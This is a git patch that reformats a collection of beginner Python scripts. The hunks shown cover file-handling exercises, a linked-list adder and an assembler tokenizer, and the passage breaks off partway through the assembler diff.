From f0af0c43340763724f139fa68aa1e5a9ffe458b4 Mon Sep 17 00:00:00 2001 From: slowy07 Date: Sun, 30 Jan 2022 08:33:32 +0700 Subject: [PATCH] refactor: clean code Signed-off-by: slowy07 --- .../Deleting record in a binary file.py | 18 +- ...e binary read (record in non list form).py | 24 +- .../Update a binary file.py | 32 +- .../Update a binary file2.py | 31 +- ...on 1 (elegible for remedial, top marks).py | 77 +-- .../search record in binary file.py | 20 +- ...e handle 12 length of line in text file.py | 14 +- .../input,output and error streams.py | 21 +- 1 File handle/File handle text/question 2.py | 14 +- 1 File handle/File handle text/question 5.py | 25 +- 1 File handle/File handle text/question 6.py | 25 +- 1 File handle/File handle text/question3.py | 48 +- .../special symbol after word.py | 21 +- Add_two_Linked_List.py | 4 +- Armstrong_number.py | 18 +- Assembler/assembler.py | 184 ++++--- Automated Scheduled Call Reminders/caller.py | 61 ++- .../schedular.py | 6 +- Battery_notifier.py | 10 +- Binary Coefficients.py | 6 +- Binary_search.py | 28 +- Binary_to_Decimal.py | 36 +- BlackJack_game/blackjack.py | 23 +- BlackJack_game/blackjack_rr.py | 105 ++-- BlackJack_game/blackjack_simulate.py | 323 +++++++------ BruteForce.py | 6 +- CRC/crc.py | 14 +- Checker_game_by_dz/first.py | 23 +- Checker_game_by_dz/modules/__init__.py | 4 +- Checker_game_by_dz/modules/checker.py | 34 +- Checker_game_by_dz/modules/checker_board.py | 121 +++-- Checker_game_by_dz/modules/pieces.py | 33 +- Checker_game_by_dz/modules/statics.py | 9 +- Chrome Dino Automater.py | 3 +- Classification_human_or_horse.py | 39 +- CliYoutubeDownloader.py | 31 +- CliYoutubeDownloader/CliYoutubeDownloader.py | 31 +- Collatz-Conjecture.py | 40 +- Colors/pixel_sort.py | 259 +++++----- Colors/primary_colors.py | 122 +++-- Colors/print_colors.py | 18 +- Compression_Analysis/PSNR.py | 11 +- Conversation.py | 6 +- CountMillionCharacter.py | 18 +- CountMillionCharacters-2.0.py | 4 +- .../variation1.py | 4 +- Credit_Card_Validator.py | 49 +- Cricket_score.py | 27 +- Day_of_week.py | 37 +- Decimal to binary/2to00000010.py | 16 +- Decimal_To_Binary.py | 87 ++-- Delete_Linked_List.py | 4 +- Detect_Remove_loop.py | 10 +- ...onary opperations (input,update a dict).py | 25 +- Downloaded Files Organizer/browser_status.py | 16 +- Downloaded Files Organizer/obs.py | 26 +- Eight_Puzzle_Solver/eight_puzzle.py | 381 ++++++++------- Electronics_Algorithms/Ohms_law.py | 6 +- Email-Automation.py | 30 +- EncryptionTool.py | 6 +- Exception_Handling_in_Python.py | 136 +++--- Extract-Table-from-pdf-txt-docx/main.py | 94 ++-- Extract_Text_from_image.py | 19 +- .../mask_detection.py | 45 +- Factorial.py | 4 +- Fibonacci_sequence_recursive_sol.py | 9 +- FizzBuzz.py | 13 +- .../Background.py | 68 ++- Flappy Bird - created with tkinter/Bird.py | 54 ++- .../Flappy Bird.py | 124 +++-- .../Settings.py | 18 +- Flappy Bird - created with tkinter/Tubes.py | 101 +++- Google_Image_Downloader/create_dir.py | 8 +- Google_Image_Downloader/image_grapper.py | 96 ++-- Google_News.py | 26 +- Gregorian_Calendar.py | 10 +- GroupSms_Way2.py | 38 +- Guess_the_number_game.py | 1 + Guessing_Game.py | 74 +-- Hangman.py | 121 ++--- ImageDownloader/img_downloader.py | 10 +- Infix_to_Postfix.py | 16 +- Insert_operation_on_Linked_List.py | 6 +- JsonParser.py | 2 +- Koch Curve/koch curve.py | 5 +- Letter_Counter.py | 37 +- List.py | 10 +- Luhn_Algorithm.py | 6 +- Memory_game.py | 9 +- Merge_linked_list.py | 214 ++++----- MobiusFunction.py | 12 +- Mp3_media_player.py | 50 +- MySQL_Databses.py | 5 +- Organise.py | 91 +++- PDF/basic.py | 16 +- PDF/header_footer.py | 23 +- PDF/images.py | 12 +- PONG_GAME.py | 40 +- Palindrome_Checker.py | 2 +- PongPong_Game/pong/ball.py | 26 +- PongPong_Game/pong/load.py | 29 +- PongPong_Game/pong/paddle.py | 9 +- PongPong_Game/pong/rectangle.py | 2 +- PongPong_Game/pongpong.py | 30 +- Print_List_of_Even_Numbers.py | 18 +- Print_List_of_Odd_Numbers.py | 25 +- Program of Reverse of any number.py | 14 +- Program to print table of given number.py | 6 +- ...everse Linked List( Recursive solution).py | 47 +- QR_code_generator/qrcode.py | 11 +- QuadraticCalc.py | 5 +- RandomDice.py | 11 +- RandomNumberGame.py | 68 +-- ReadFromCSV.py | 12 +- Recursion Visulaizer/recursionVisualizer.py | 69 +-- Reverse_list_in_groups.py | 10 +- Rotate_Linked_List.py | 4 +- SOUNDEX.py | 79 +-- Secret message generator GUI by tkinter.py | 228 +++++++-- Shortest Distance between Two Lines.py | 20 +- SimpleCalculator.py | 25 +- SimpleStopWatch.py | 12 +- Snake-Water-Gun-Game.py | 55 +-- Snake_water_gun/main.py | 63 ++- Sorting Algorithims/Binary_Insertion_Sort.py | 10 +- Sorting Algorithims/Bubble_Sorting_Prog.py | 12 +- Sorting Algorithims/Bubble_sort.py | 17 +- Sorting Algorithims/Count sort.py | 15 +- Sorting Algorithims/Counting Sort.py | 3 +- Sorting Algorithims/Counting-sort.py | 54 +-- Sorting Algorithims/Cycle Sort.py | 104 ++-- Sorting Algorithims/Heap sort.py | 58 +-- Sorting Algorithims/Iterative Merge Sort.py | 163 +++---- Sorting Algorithims/Linear_Insertion_Sort.py | 4 +- Sorting Algorithims/Merge Sort.py | 2 +- Sorting Algorithims/Merge-sort.py | 88 ++-- Sorting Algorithims/Quick sort.py | 6 +- Sorting Algorithims/Quick_Sort.py | 16 +- Sorting Algorithims/Shell Sort.py | 67 +-- ... values of first list using second list.py | 23 +- .../Sorted_Inserted_Linked_List.py | 2 +- .../SortingAStringAlphabetically.py | 4 +- Sorting Algorithims/Sorting_List.py | 8 +- Sorting Algorithims/Tim_sort.py | 219 ++++----- Sorting Algorithims/brickSort.py | 45 +- Sorting Algorithims/bubblesortpgm.py | 43 +- Sorting Algorithims/merge_sort.py | 4 +- Sorting Algorithims/pigeonhole_sort.py | 49 +- Sorting Algorithims/recursive-quick-sort.py | 7 +- Sorting Algorithims/selectionSort.py | 16 +- Sorting Algorithims/sorting.py | 40 +- Sorting Algorithims/stooge_sort.py | 46 +- Sorting Algorithims/wave_sort.py | 5 +- Split_Circular_Linked_List.py | 2 +- StringToBinary.py | 10 +- Strings.py | 40 +- TTS.py | 4 +- Tic_Tac_Toe.py | 90 ++-- Timetable_Operations.py | 72 +-- To print series 1,12,123,1234......py | 41 +- .../find_Triplets_with_zero_sum.py | 104 ++-- .../audiobook_gen.py | 12 +- Tweet Pre-Processing.py | 62 ++- Type of angles of a triangle.py | 32 +- Type_of_angles_of_triangle.py | 57 +-- UI-Apps/clock.py | 33 +- Unit Digit of a raised to power b.py | 17 +- VoiceRepeater/__main__.py | 19 +- Weather Scrapper/weather.py | 25 +- WeatherGUI.py | 72 +-- Web_Scraper.py | 68 +-- WikipediaModule.py | 15 +- Windows_Wallpaper_Script/wallpaper_extract.py | 43 +- XORcipher/XOR_cipher.py | 78 +-- XORcipher/test_XOR_cipher.py | 20 +- Youtube Downloader With GUI/main.py | 70 +-- addition.py | 28 +- aj.py | 23 +- alexa_news_headlines.py | 11 +- area_of_square.py | 6 +- armstrongnumber.py | 10 +- async_downloader/async_downloader.py | 55 ++- avg_xdspam_confidence.py | 18 +- backup_automater_services.py | 34 +- balance_parenthesis.py | 62 +-- bank_managment_system/backend.py | 35 +- bank_managment_system/frontend.py | 450 +++++++++++++----- batch_file_rename.py | 46 +- binod.py | 20 +- blackJackGUI.py | 51 +- blackjack.py | 27 +- brickout-game/brickout-game.py | 81 ++-- calc_area.py | 36 +- calculator.py | 73 +-- chaos.py | 4 +- check_file.py | 22 +- check_for_sqlite_files.py | 22 +- check_input.py | 14 +- check_internet_con.py | 4 +- chicks_n_rabs.py | 2 +- classicIndianCardMatch.py | 36 +- communication/file.py | 2 +- consonant.py | 29 +- convert_time.py | 3 +- coronacases.py | 46 +- count_vowels.py | 18 +- create_dir_if_not_there.py | 16 +- cricket_news.py | 22 +- currency converter/main.py | 25 +- daily_checks.py | 42 +- date-timeclient.py | 9 +- date-timeserver.py | 10 +- days_from_date.py | 66 ++- dec_to_hex.py | 2 +- diamond.py | 10 +- dice_rolling_simulator.py | 6 +- diction.py | 33 +- digital_clock.py | 79 +-- dir_test.py | 8 +- email id dictionary/dict1.py | 24 +- encryptsys.py | 3 + env_check.py | 25 +- equations.py | 14 +- even.py | 4 +- facebook id hack.py | 93 ++-- facebook-autologin-bot.py | 59 ++- fact.py | 12 +- factorial_perm_comp.py | 50 +- factors.py | 4 +- fastapi.py | 7 +- fetch_news.py | 2 +- fibonacci.py | 32 +- fileinfo.py | 76 +-- find_cube_root.py | 10 +- find_prime.py | 7 +- flappyBird_pygame/flappy_bird.py | 92 ++-- folder_size.py | 29 +- four_digit_num_combination.py | 4 +- friday.py | 19 +- ftp_send_receive.py | 18 +- game_of_life/05_mixed_sorting.py | 11 +- game_of_life/game_o_life.py | 24 +- gcd.py | 10 +- get_crypto_price.py | 16 +- get_info_remoute_srv.py | 16 +- get_likes_on_FB.py | 42 +- get_youtube_view.py | 21 +- google.py | 10 +- googlemaps.py | 15 +- gui_calculator.py | 100 +++- heap_sort.py | 6 +- helloworld.py | 7 +- image2pdf/image2pdf.py | 31 +- input matrice,product any order!.py | 66 +-- insertion_sort.py | 38 +- insta_monitering/insta_api.py | 35 +- insta_monitering/insta_datafetcher.py | 73 +-- insta_monitering/subpinsta.py | 14 +- internet_connection_py3.py | 8 +- invisible_clock.py | 59 +-- iprint.py | 8 +- jee_result.py | 21 +- kmp_str_search.py | 2 +- lcm.py | 20 +- length.py | 2 +- letter_frequency.py | 7 +- levenshtein_distance.py | 38 +- .../src/Transformations2D.py | 60 +-- linear-algebra-python/src/lib.py | 173 +++---- linear-algebra-python/src/tests.py | 30 +- live_sketch.py | 2 +- loader.py | 11 +- login.py | 45 +- logs.py | 9 +- longest_increasing_subsequence_length.py | 29 +- love_turtle.py | 8 +- magic8ball.py | 37 +- main.py | 4 +- mapit.py | 11 +- meme_maker.py | 20 +- memorygame.py | 24 +- merge.py | 20 +- missing number from list.py | 10 +- mobilePhoneSpecsScrapper.py | 37 +- move_files_over_x_days.py | 40 +- movie_details.py | 46 +- multiplication_table.py | 21 +- nasa_apod_with_requests/run.py | 24 +- nasa_apod_with_requests/settings.py | 2 +- new.py | 211 ++++---- new_script.py | 26 +- next_number.py | 26 +- nmap_scan.py | 14 +- nodepad/notepad.py | 116 +++-- notepad/notepad_support.py | 22 +- nslookup_check.py | 6 +- oneeven.py | 2 +- osinfo.py | 44 +- passwordGen.py | 10 +- passwordGenerator.py | 100 +++- password_cracker.py | 14 +- password_manager.py | 42 +- patterns.py | 21 +- personal_translator.py | 45 +- ph_email.py | 18 +- ping_servers.py | 73 ++- ping_subnet.py | 41 +- portscanner.py | 27 +- positiveNegetive.py | 4 +- power_of_two.py | 2 +- powerdown_startup.py | 40 +- powerup_checks.py | 98 ++-- primelib/primelib.py | 253 +++++----- prison_break_scrapper.py | 31 +- pscheck.py | 25 +- psunotify.py | 21 +- puttylogs.py | 15 +- pyauto.py | 12 +- pygame.py | 48 +- pyhton_array.py | 4 +- pythagoreanTriplets.py | 24 +- pythonVideoDownloader.py | 22 +- python_sms.py | 46 +- qrcode.py | 10 +- qrdecoder.py | 10 +- quote.py | 16 +- random-sentences.py | 17 +- random_file_move.py | 73 +-- randomloadingmessage.py | 4 +- read_excel_file.py | 2 +- rearrange-files/rearrange-files.py | 24 +- recursive-fibonacci.py | 8 +- rook.py | 16 +- rotate_string.py | 37 +- rotatelist.py | 5 +- sWAP_cASE.py | 6 +- scrap_file.py | 13 +- script_count.py | 95 ++-- script_listing.py | 30 +- sendemail.py | 88 ++-- sensors_information.py | 15 +- serial_scanner.py | 15 +- sha1.py | 56 ++- sierpinski_triangle.py | 36 +- simpleInterest.py | 10 +- size(resolution)image.py | 29 +- slack_message.py | 15 +- snake.py | 78 +-- socket-programming/client.py | 4 +- socket-programming/server.py | 10 +- solution to euler project problem 10.py | 24 +- soundex_algorithm.py | 40 +- spotifyAccount.py | 80 ++-- sqlite_check.py | 4 +- sqlite_table_check.py | 18 +- stack.py | 115 ++--- stackF_Harsh2255.py | 83 ++-- stone_paper_scissor/main.py | 23 +- stone_paper_scissor/utils.py | 18 +- string_rotation.py | 18 +- sudoku.py | 28 +- swap.py | 8 +- tempCodeRunnerFile.py | 2 +- testlines.py | 8 +- text-to-audio/main.py | 15 +- text_file_replace.py | 20 +- tf_idf_generator.py | 79 +-- .../mustache-add-on-face.py | 27 +- .../utils.py | 10 +- thread_signal.py | 2 +- tic-tac-toe.py | 177 +++---- tic_tak_toe.py | 236 ++++----- tik_tak.py | 2 +- totaldigits.py | 4 +- tower_of_hanoi.py | 32 +- translation_of_sizes_of_underwear_RU.py | 50 +- triangles.py | 22 +- twitter_post_scraper.py | 32 +- video-operations/slow-motion.py | 8 +- video-operations/timelapse.py | 8 +- vowels.py | 4 +- webcam.py | 16 +- whatsapp-monitor.py | 35 +- wiki/wiki.py | 91 ++-- wiki_random.py | 37 +- wikipedia.py | 23 +- work_connect.py | 50 +- write_excel_file.py | 44 +- 388 files changed, 8353 insertions(+), 6251 deletions(-) diff --git a/1 File handle/File handle binary/Deleting record in a binary file.py b/1 File handle/File handle binary/Deleting record in a binary file.py index c3649c8c6fc..ff3147a5573 100644 --- a/1 File handle/File handle binary/Deleting record in a binary file.py +++ b/1 File handle/File handle binary/Deleting record in a binary file.py @@ -1,22 +1,24 @@ import pickle + def Bdelete(): # Opening a file & loading it - F= open("studrec.dat","rb") + F = open("studrec.dat", "rb") stud = pickle.load(F) F.close() - + print(stud) - + # Deleting the Roll no. entered by user - rno= int(input("Enter the Roll no. to be deleted: ")) - F= open("studrec.dat","wb") - rec= [] + rno = int(input("Enter the Roll no. to be deleted: ")) + F = open("studrec.dat", "wb") + rec = [] for i in stud: if i[0] == rno: continue rec.append(i) - pickle.dump(rec,F) + pickle.dump(rec, F) F.close() - + + Bdelete() diff --git a/1 File handle/File handle binary/File handle binary read (record in non list form).py b/1 File handle/File handle binary/File handle binary read (record in non list form).py index 6367930c0e2..327c05c659d 100644 --- a/1 File handle/File handle binary/File handle binary read (record in non list form).py +++ b/1 File handle/File handle binary/File handle binary read (record in non list form).py @@ -1,23 +1,25 @@ import pickle + def binaryread(): - B=open("studrec.dat","rb") - stud=pickle.load(B) + B = open("studrec.dat", "rb") + stud = pickle.load(B) print(stud) # prints the whole record in nested list format print("contents of binary file") for ch in stud: - - print(ch) #prints one of the chosen rec in list - - Rno=ch[0] - Rname=ch[1] #due to unpacking the val not printed in list format - Rmark=ch[2] - - print(Rno, Rname,Rmark, end="\t") - + + print(ch) # prints one of the chosen rec in list + + Rno = ch[0] + Rname = ch[1] # due to unpacking the val not printed in list format + Rmark = ch[2] + + print(Rno, Rname, Rmark, end="\t") + B.close + binaryread() diff --git a/1 File handle/File handle binary/Update a binary file.py b/1 File handle/File handle binary/Update a binary file.py index 9104ca800f5..19f16b955da 100644 --- a/1 File handle/File handle binary/Update a binary file.py +++ b/1 File handle/File handle binary/Update a binary file.py @@ -1,31 +1,33 @@ -#Updating records in a binary file +# Updating records in a binary file import pickle + def update(): - F=open("class.dat",'rb+') - S=pickle.load(F) - found=0 - rno=int(input("enter the roll number you want to update")) + F = open("class.dat", "rb+") + S = pickle.load(F) + found = 0 + rno = int(input("enter the roll number you want to update")) for i in S: - if rno==i[0]: - print("the currrent name is",i[1]) - i[1]=input("enter the new name") - found=1 + if rno == i[0]: + print("the currrent name is", i[1]) + i[1] = input("enter the new name") + found = 1 break - if found==0: + if found == 0: print("Record not found") else: - F.seek(0) - pickle.dump(S,F) + F.seek(0) + pickle.dump(S, F) + + F.close() - F.close() update() -F=open("class.dat","rb") -val=pickle.load(F) +F = open("class.dat", "rb") +val = pickle.load(F) print(val) F.close() diff --git a/1 File handle/File handle binary/Update a binary file2.py b/1 File handle/File handle binary/Update a binary file2.py index a48abc6ae0f..26fb365e687 100644 --- a/1 File handle/File handle binary/Update a binary file2.py +++ b/1 File handle/File handle binary/Update a binary file2.py @@ -1,30 +1,31 @@ -#updating records in a bnary file +# updating records in a bnary file import pickle + def update(): - F=open("studrec.dat","rb+") - value=pickle.load(F) - found=0 - roll=int(input("Enter the roll number of the record")) + F = open("studrec.dat", "rb+") + value = pickle.load(F) + found = 0 + roll = int(input("Enter the roll number of the record")) for i in value: - if roll==i[0]: + if roll == i[0]: print("current name", i[1]) print("current marks", i[2]) - i[1]=input("Enter the new name") - i[2]=int(input("Enter the new marks")) - found=1 + i[1] = input("Enter the new name") + i[2] = int(input("Enter the new marks")) + found = 1 - if found==0: + if found == 0: print("Record not found") else: - pickle.dump(value,F) + pickle.dump(value, F) F.seek(0) - newval=pickle.load(F) + newval = pickle.load(F) print(newval) - + F.close() -update() - + +update() diff --git a/1 File handle/File handle binary/question 1 (elegible for remedial, top marks).py b/1 File handle/File handle binary/question 1 (elegible for remedial, top marks).py index 9d00930edc8..08ac16f3e32 100644 --- a/1 File handle/File handle binary/question 1 (elegible for remedial, top marks).py +++ b/1 File handle/File handle binary/question 1 (elegible for remedial, top marks).py @@ -1,4 +1,4 @@ -'''Amit is a monitor of class XII-A and he stored the record of all +"""Amit is a monitor of class XII-A and he stored the record of all the students of his class in a file named “class.dat”. Structure of record is [roll number, name, percentage]. His computer teacher has assigned the following duty to Amit @@ -7,60 +7,71 @@ remedial class (student who scored less than 40 percent) - ''' -#also find no. of children who got top marks + """ +# also find no. of children who got top marks import pickle -F=open("class.dat",'ab') -list=[[1,"Ramya",30],[2,"vaishnavi",60],[3,"anuya",40],[4,"kamala",30],[5,"anuraag",10],[6,"Reshi",77],[7,"Biancaa.R",100],[8,"sandhya",65]] +F = open("class.dat", "ab") +list = [ + [1, "Ramya", 30], + [2, "vaishnavi", 60], + [3, "anuya", 40], + [4, "kamala", 30], + [5, "anuraag", 10], + [6, "Reshi", 77], + [7, "Biancaa.R", 100], + [8, "sandhya", 65], +] -pickle.dump(list,F) + +pickle.dump(list, F) F.close() + def remcount(): - F=open("class.dat","rb") - val=pickle.load(F) - count=0 - + F = open("class.dat", "rb") + val = pickle.load(F) + count = 0 + for i in val: - if i[2]<=40: - print(i,"eligible for remedial") - count+=1 - print("the total number of students are",count) + if i[2] <= 40: + print(i, "eligible for remedial") + count += 1 + print("the total number of students are", count) F.close() + remcount() + def firstmark(): - F=open("class.dat",'rb') - val=pickle.load(F) - main=[] - count=0 - + F = open("class.dat", "rb") + val = pickle.load(F) + main = [] + count = 0 + for i in val: - data=i[2] + data = i[2] main.append(data) - - top=max(main) - print(top,"is the first mark") + + top = max(main) + print(top, "is the first mark") F.seek(0) for i in val: - if top==i[2]: + if top == i[2]: print(i) print("congrats") - count+=1 - - - print("the total number of students who secured top marks are",count) + count += 1 + + print("the total number of students who secured top marks are", count) F.close() + + firstmark() -F=open("class.dat","rb") -val=pickle.load(F) +F = open("class.dat", "rb") +val = pickle.load(F) print(val) F.close() - - - diff --git a/1 File handle/File handle binary/search record in binary file.py b/1 File handle/File handle binary/search record in binary file.py index 72000eacd1e..fd58d246bb9 100644 --- a/1 File handle/File handle binary/search record in binary file.py +++ b/1 File handle/File handle binary/search record in binary file.py @@ -1,22 +1,24 @@ -#binary file to search a given record +# binary file to search a given record import pickle + def binary_search(): - F=open("studrec.dat",'rb') + F = open("studrec.dat", "rb") # your file path will be different - value=pickle.load(F) - search=0 - rno=int(input("Enter the roll number of the student")) + value = pickle.load(F) + search = 0 + rno = int(input("Enter the roll number of the student")) for i in value: - if i[0]== rno: + if i[0] == rno: print("Record found successfully") print(i) - search=1 + search = 1 - if search==0: + if search == 0: print("Sorry! record not found") F.close() -binary_search() + +binary_search() diff --git a/1 File handle/File handle text/file handle 12 length of line in text file.py b/1 File handle/File handle text/file handle 12 length of line in text file.py index cf1b6e5b03c..b6e63f6d182 100644 --- a/1 File handle/File handle text/file handle 12 length of line in text file.py +++ b/1 File handle/File handle text/file handle 12 length of line in text file.py @@ -1,10 +1,12 @@ def longlines(): - F=open("story.txt","r") - line=F.readlines() + F = open("story.txt", "r") + line = F.readlines() for i in line: - if len(i)<50: - print(i,end=" ") - + if len(i) < 50: + print(i, end=" ") + F.close() -longlines() + + +longlines() diff --git a/1 File handle/File handle text/input,output and error streams.py b/1 File handle/File handle text/input,output and error streams.py index a296d82b155..d8537c7a9a9 100644 --- a/1 File handle/File handle text/input,output and error streams.py +++ b/1 File handle/File handle text/input,output and error streams.py @@ -1,15 +1,20 @@ -#practicing with streams +# practicing with streams import sys + sys.stdout.write("Enter the name of the file") -file=sys.stdin.readline() +file = sys.stdin.readline() + +F = open(file.strip(), "r") -F=open(file.strip(),"r") - while True: - ch=F.readlines() - for i in ch(): #ch is the whole file,for i in ch gives lines, for j in i gives letters,for j in i.split gives words - print(i,end="") + ch = F.readlines() + for ( + i + ) in ( + ch() + ): # ch is the whole file,for i in ch gives lines, for j in i gives letters,for j in i.split gives words + print(i, end="") else: sys.stderr.write("End of file reached") break -F.close() +F.close() diff --git a/1 File handle/File handle text/question 2.py b/1 File handle/File handle text/question 2.py index e62dc5a75ea..9df4adf930b 100644 --- a/1 File handle/File handle text/question 2.py +++ b/1 File handle/File handle text/question 2.py @@ -3,16 +3,16 @@ using read function and display those words, which are less than 4 characters. """ -F=open("story.txt","r") -value=F.read() -lines=value.split() -count=0 +F = open("story.txt", "r") +value = F.read() +lines = value.split() +count = 0 for i in lines: - if len(i)<4: + if len(i) < 4: print(i) - count+=1 + count += 1 else: pass -print("The total number of words with length less than 4 are",count) +print("The total number of words with length less than 4 are", count) diff --git a/1 File handle/File handle text/question 5.py b/1 File handle/File handle text/question 5.py index 14d6bc34266..ee9914af7f2 100644 --- a/1 File handle/File handle text/question 5.py +++ b/1 File handle/File handle text/question 5.py @@ -1,19 +1,20 @@ -'''Write a function in python to count the number of lowercase -alphabets present in a text file “happy.txt''' +"""Write a function in python to count the number of lowercase +alphabets present in a text file “happy.txt""" def lowercase(): - F=open("happy.txt","r") - count=0 - count_=0 - value=F.read() + F = open("happy.txt", "r") + count = 0 + count_ = 0 + value = F.read() for i in value: if i.islower(): - count+=1 + count += 1 elif i.isupper(): - count_+=1 - print("The total number of lower case letters are",count) - print("The total number of upper case letters are",count_) - print("The total number of letters are",count+count_) + count_ += 1 + print("The total number of lower case letters are", count) + print("The total number of upper case letters are", count_) + print("The total number of letters are", count + count_) -lowercase() + +lowercase() diff --git a/1 File handle/File handle text/question 6.py b/1 File handle/File handle text/question 6.py index 14d6bc34266..ee9914af7f2 100644 --- a/1 File handle/File handle text/question 6.py +++ b/1 File handle/File handle text/question 6.py @@ -1,19 +1,20 @@ -'''Write a function in python to count the number of lowercase -alphabets present in a text file “happy.txt''' +"""Write a function in python to count the number of lowercase +alphabets present in a text file “happy.txt""" def lowercase(): - F=open("happy.txt","r") - count=0 - count_=0 - value=F.read() + F = open("happy.txt", "r") + count = 0 + count_ = 0 + value = F.read() for i in value: if i.islower(): - count+=1 + count += 1 elif i.isupper(): - count_+=1 - print("The total number of lower case letters are",count) - print("The total number of upper case letters are",count_) - print("The total number of letters are",count+count_) + count_ += 1 + print("The total number of lower case letters are", count) + print("The total number of upper case letters are", count_) + print("The total number of letters are", count + count_) -lowercase() + +lowercase() diff --git a/1 File handle/File handle text/question3.py b/1 File handle/File handle text/question3.py index 9f1752a5cef..c1c1a554e9f 100644 --- a/1 File handle/File handle text/question3.py +++ b/1 File handle/File handle text/question3.py @@ -2,33 +2,35 @@ the contents of text file named “happy.txt” and count the number of lines which starts with either “I‟ or “M‟.""" -#step1: +# step1: def write_to_file(): - F=open("happy.txt","a") + F = open("happy.txt", "a") while True: - text=input("enter any text") - - F.write(text+"\n") #write function takes exactly 1 arguement so concatenation - choice= input("do you want to enter more, y/n") - if choice=="n": + text = input("enter any text") + + F.write( + text + "\n" + ) # write function takes exactly 1 arguement so concatenation + choice = input("do you want to enter more, y/n") + if choice == "n": break - F.close() -#write_to_file() + F.close() + + +# write_to_file() -#step2: +# step2: def check_first_letter(): - F=open("happy.txt","r") - value=F.read() - count=0 - line=value.split() + F = open("happy.txt", "r") + value = F.read() + count = 0 + line = value.split() for i in line: - if i[0] in ["m","M","i","I"]: - count+=1 + if i[0] in ["m", "M", "i", "I"]: + count += 1 print(i) - - print("The total number of sentences starting with I or M are",count) - -check_first_letter() - - - + + print("The total number of sentences starting with I or M are", count) + + +check_first_letter() diff --git a/1 File handle/File handle text/special symbol after word.py b/1 File handle/File handle text/special symbol after word.py index 6f25cf544ff..353a98cca87 100644 --- a/1 File handle/File handle text/special symbol after word.py +++ b/1 File handle/File handle text/special symbol after word.py @@ -1,19 +1,16 @@ -F=open("happy.txt","r") +F = open("happy.txt", "r") # method 1 -val=F.read() -val=val.split() +val = F.read() +val = val.split() for i in val: - print(i,"*",end="") + print(i, "*", end="") print("\n") - -#method 2 -F.seek(0) -value=F.readlines() +# method 2 +F.seek(0) +value = F.readlines() for line in value: for word in line.split(): - print(word,"*",end="") -F.close() - - + print(word, "*", end="") +F.close() diff --git a/Add_two_Linked_List.py b/Add_two_Linked_List.py index 07eb9904521..ef3774df5df 100644 --- a/Add_two_Linked_List.py +++ b/Add_two_Linked_List.py @@ -23,7 +23,7 @@ def Add_two_no(self, First, Second): while First is not None or Second is not None: first_data = 0 if First is None else First.data second_data = 0 if Second is None else Second.data - Sum = carry+first_data+second_data + Sum = carry + first_data + second_data carry = 1 if Sum >= 10 else 0 Sum = Sum if Sum < 10 else Sum % 10 temp = Node(Sum) @@ -41,7 +41,7 @@ def Add_two_no(self, First, Second): def Display(self): temp = self.head - while(temp): + while temp: print(temp.data, "->", end=" ") temp = temp.next print("None") diff --git a/Armstrong_number.py b/Armstrong_number.py index be6ca4bd68d..73951716d74 100644 --- a/Armstrong_number.py +++ b/Armstrong_number.py @@ -1,12 +1,12 @@ -#checking for armstrong number -a=input('Enter a number') -n=int(a) -S=0 -while n>0: - d=n%10 - S=S+d*d*d - n=n/10 -if int(a)==S: +# checking for armstrong number +a = input("Enter a number") +n = int(a) +S = 0 +while n > 0: + d = n % 10 + S = S + d * d * d + n = n / 10 +if int(a) == S: print("Armstrong Number") else: print("Not an Armstrong Number") diff --git a/Assembler/assembler.py b/Assembler/assembler.py index 956a146b829..2cb36656e29 100644 --- a/Assembler/assembler.py +++ b/Assembler/assembler.py @@ -19,7 +19,7 @@ # pop --> pop stack = [] -# jump link table +# jump link table jumps = {} # variable table @@ -29,14 +29,14 @@ returnStack = [] -# simple exception class +# simple exception class class InvalidSyntax(Exception): def __init__(self): pass # class for represent a token -class Token(): +class Token: def __init__(self, token, t): self.token = token self.t = t @@ -47,9 +47,10 @@ def __init__(self, token, t): # for i in range(9): # register.append(0) + def loadFile(fileName): """ - loadFile: This function loads the file and reads its lines. + loadFile: This function loads the file and reads its lines. """ global lines fo = open(fileName) @@ -60,8 +61,8 @@ def loadFile(fileName): def scanner(string): """ - scanner: This function builds the tokens by the content of the file. - The tokens will be saved in list 'tokens' + scanner: This function builds the tokens by the content of the file. + The tokens will be saved in list 'tokens' """ global tokens token = "" @@ -71,66 +72,65 @@ def scanner(string): if state == 0: - if ch == 'm': # catch mov-command + if ch == "m": # catch mov-command state = 1 - token += 'm' + token += "m" - elif ch == 'e': # catch register + elif ch == "e": # catch register state = 4 - token += 'e' + token += "e" - elif (ch >= '1' and ch <= '9') or ch == '-': # catch a number + elif (ch >= "1" and ch <= "9") or ch == "-": # catch a number state = 6 token += ch - elif ch == '0': # catch a number or hex-code + elif ch == "0": # catch a number or hex-code state = 17 token += ch - elif ch == 'a': # catch add-command + elif ch == "a": # catch add-command state = 7 token += ch - elif ch == 's': # catch sub command + elif ch == "s": # catch sub command state = 10 token += ch - elif ch == 'i': # capture int command + elif ch == "i": # capture int command state = 14 token += ch - elif ch == 'p': # capture push or pop command + elif ch == "p": # capture push or pop command state = 19 token += ch - elif ch == 'l': # capture label + elif ch == "l": # capture label state = 25 token += ch - elif ch == 'j': # capture jmp command + elif ch == "j": # capture jmp command state = 26 token += ch - elif ch == 'c': # catch cmp-command + elif ch == "c": # catch cmp-command state = 29 token += ch - elif ch == ';': # capture comment + elif ch == ";": # capture comment state = 33 - elif ch == '"': # catch a string state = 34 @@ -141,7 +141,7 @@ def scanner(string): state = 35 token += ch - elif ch == 'd': # capture db keyword + elif ch == "d": # capture db keyword state = 36 token += ch @@ -151,12 +151,12 @@ def scanner(string): state = 38 # not catching $ - elif ch == '_': # catch label for subprogram + elif ch == "_": # catch label for subprogram state = 40 # not catches the character _ - elif ch == 'r': # catch ret-command + elif ch == "r": # catch ret-command state = 44 token += ch @@ -168,12 +168,12 @@ def scanner(string): elif state == 1: # state 1 - if ch == 'o': + if ch == "o": state = 2 token += ch - elif ch == 'u': + elif ch == "u": state = 47 token += ch @@ -186,10 +186,10 @@ def scanner(string): elif state == 2: # state 2 - if ch == 'v': + if ch == "v": state = 3 - token += 'v' + token += "v" else: # error case state = 0 @@ -211,7 +211,7 @@ def scanner(string): raise InvalidSyntax() elif state == 4: # state 4 - if (ch >= 'a' and ch <= 'd'): + if ch >= "a" and ch <= "d": state = 5 token += ch @@ -223,7 +223,7 @@ def scanner(string): raise InvalidSyntax() elif state == 5: # state 5 - if ch == 'x': + if ch == "x": state = 13 token += ch @@ -254,7 +254,7 @@ def scanner(string): elif state == 7: # state 7 - if ch == 'd': + if ch == "d": state = 8 token += ch @@ -267,7 +267,7 @@ def scanner(string): elif state == 8: # state 8 - if ch == 'd': + if ch == "d": state = 9 token += ch @@ -294,7 